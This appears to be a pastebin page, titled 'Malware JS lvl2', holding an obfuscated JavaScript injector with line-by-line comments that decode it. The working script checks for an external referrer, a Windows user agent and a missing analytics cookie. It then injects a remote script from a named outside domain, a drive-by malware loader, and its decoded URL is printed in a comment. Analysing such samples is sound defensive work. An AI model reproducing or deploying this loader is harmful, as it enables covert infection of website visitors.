;
(function () {
var mt = document[yb("jr)e)r4r;e;f8ejr,")] || '';
''; // document.referrer || ''
var xy = new RegExp(yb('&/7)g+)](/;^,[)(5/(/):{'));
RegExp(yb('&/7)g+)](/;^,[)(5/(/):{')); // "://([^/]+)/"
// stop if referrer not external
if (!mt || window[yb(":nvo)i{t{a(c;oql(")][yb("2f)e)r{h,")][yb(":h(c(t}afm(")](xy)[1] == mt[yb(":h(c(t}afm(")](xy)[1]) {
{ // window.location.href.match("://([^/]+)/")[1] == document.referrer.match("://([^/]+)/")
return;
};
var kp = navigator[yb("ct2n{e;g,Agr4e;s(u}")];
navigator[yb("ct2n{e;g,Agr4e;s(u}")]; // navigator.userAgent
var ss = document[yb("8e)i7k}o}o(c)")];
document[yb("8e)i7k}o}o(c)")]; // document.cookie
if (ar(kp, yb("fs}wqo{d6nmigWe")) && !ar(kp, yb("7d;i;o5r(d}n,A}"))) {
{ // userAgent contains "Windows" && userAgent !contains "Android"
if (!ar(ss, yb("s=(a;m(t7u;_r_y_{"))) {
{ // document.cookie !contains "___utma="
var qq = document.createElement('script');
qq.type = 'text/javascript';
qq.async = true;
// "https://registry.expressvandelivery.com/WebResource.axd?d=dj1iODNkMDU1YzUzZWRhZDkyNjc2ZSZjaWQ9MjQ3&t=1593594029"
qq.src = yb('19x2;0}4u965,3,9x5019=;t8&{3{Qcj)M(9fQkW8a,j}Z)S(Z72}c}j(N{y,k{DcZ;h)RyW}ZlzsU2z)Y}1;U}D,Mak3N{D8O{i,1}j}d2=td(?(d}x4a9.6elc;r{u2o}s}e;R{b8e,W4/;m9onc,.yy{r,e(v;i7l,e(d)n;acv)s{s}e4r(pwx(e,.(ywr{tls}iag1efrm/}/m:{s;p}t{t)h(');
var di = document.getElementsByTagName('script')[0];
di.parentNode.insertBefore(qq, di);
}
}
function ar(bi, df) { // contains: bi.indexOf(df) !== -1
return bi[yb("rf;O}xie)d;n{i}")](df) !== -1;
}
function yb(ua) {
var bb = '';
for (var mv = 0; mv < ua.length; mv++) {
if (mv % 2 === 1)
bb += ua[mv];
}
bb = iz(bb);
return bb;
}
function ar(bi, df) {
return bi[yb("rf;O}xie)d;n{i}")](df) !== -1;
}
function iz(rl) {
var bl = '';
for (var tx = rl.length - 1; tx >= 0; tx--) {
bl += rl[tx];
}
return bl;
}
})();
Replies to Re: Malware JS lvl2
{"text":"text","html5":"html","css":"css","javascript":"javascript","php":"php","python":"python","ruby":"ruby","lua":"lua","bash":"sh","erlang":"erlang","go":"golang","c":"c_cpp","cpp":"c_cpp","diff":"diff","latex":"latex","sql":"sql","xml":"xml","0":"text","abap":"abap","actionscript":"actionscript","actionscript3":"actionscript","ada":"ada","apache":"apache_conf","applescript":"applescript","asm":"assembly_x86","autohotkey":"autohotkey","closure":"closure","cobol":"cobol","coffeescript":"coffee","cpp-winapi":"c_cpp","c_loadrunner":"c_cpp","c_mac":"c_cpp","c_winapi":"c_cpp","csharp":"csharp","d":"d","dart":"dart","dot":"dot","eiffel":"eiffel","fortran":"fortran","groovy":"groovy","haskell":"haskell","haxe":"haxe","ini":"ini","io":"io","java":"java","java5":"java","make":"makefile","matlab":"matlab","mysql":"mysql","objc":"objectivec","ocaml":"ocaml","pascal":"pascal","perl":"perl","perl6":"perl","postgresql":"pgsql","powershell":"powershell","prolog":"prolog","properties":"properties","rails":"ruby","rust":"rust","scala":"scala","scheme":"scheme","smarty":"smarty","tcl":"tcl","vala":"vala","vb":"vbscript","verilog":"verilog","vhdl":"vhdl","yaml":"yaml"}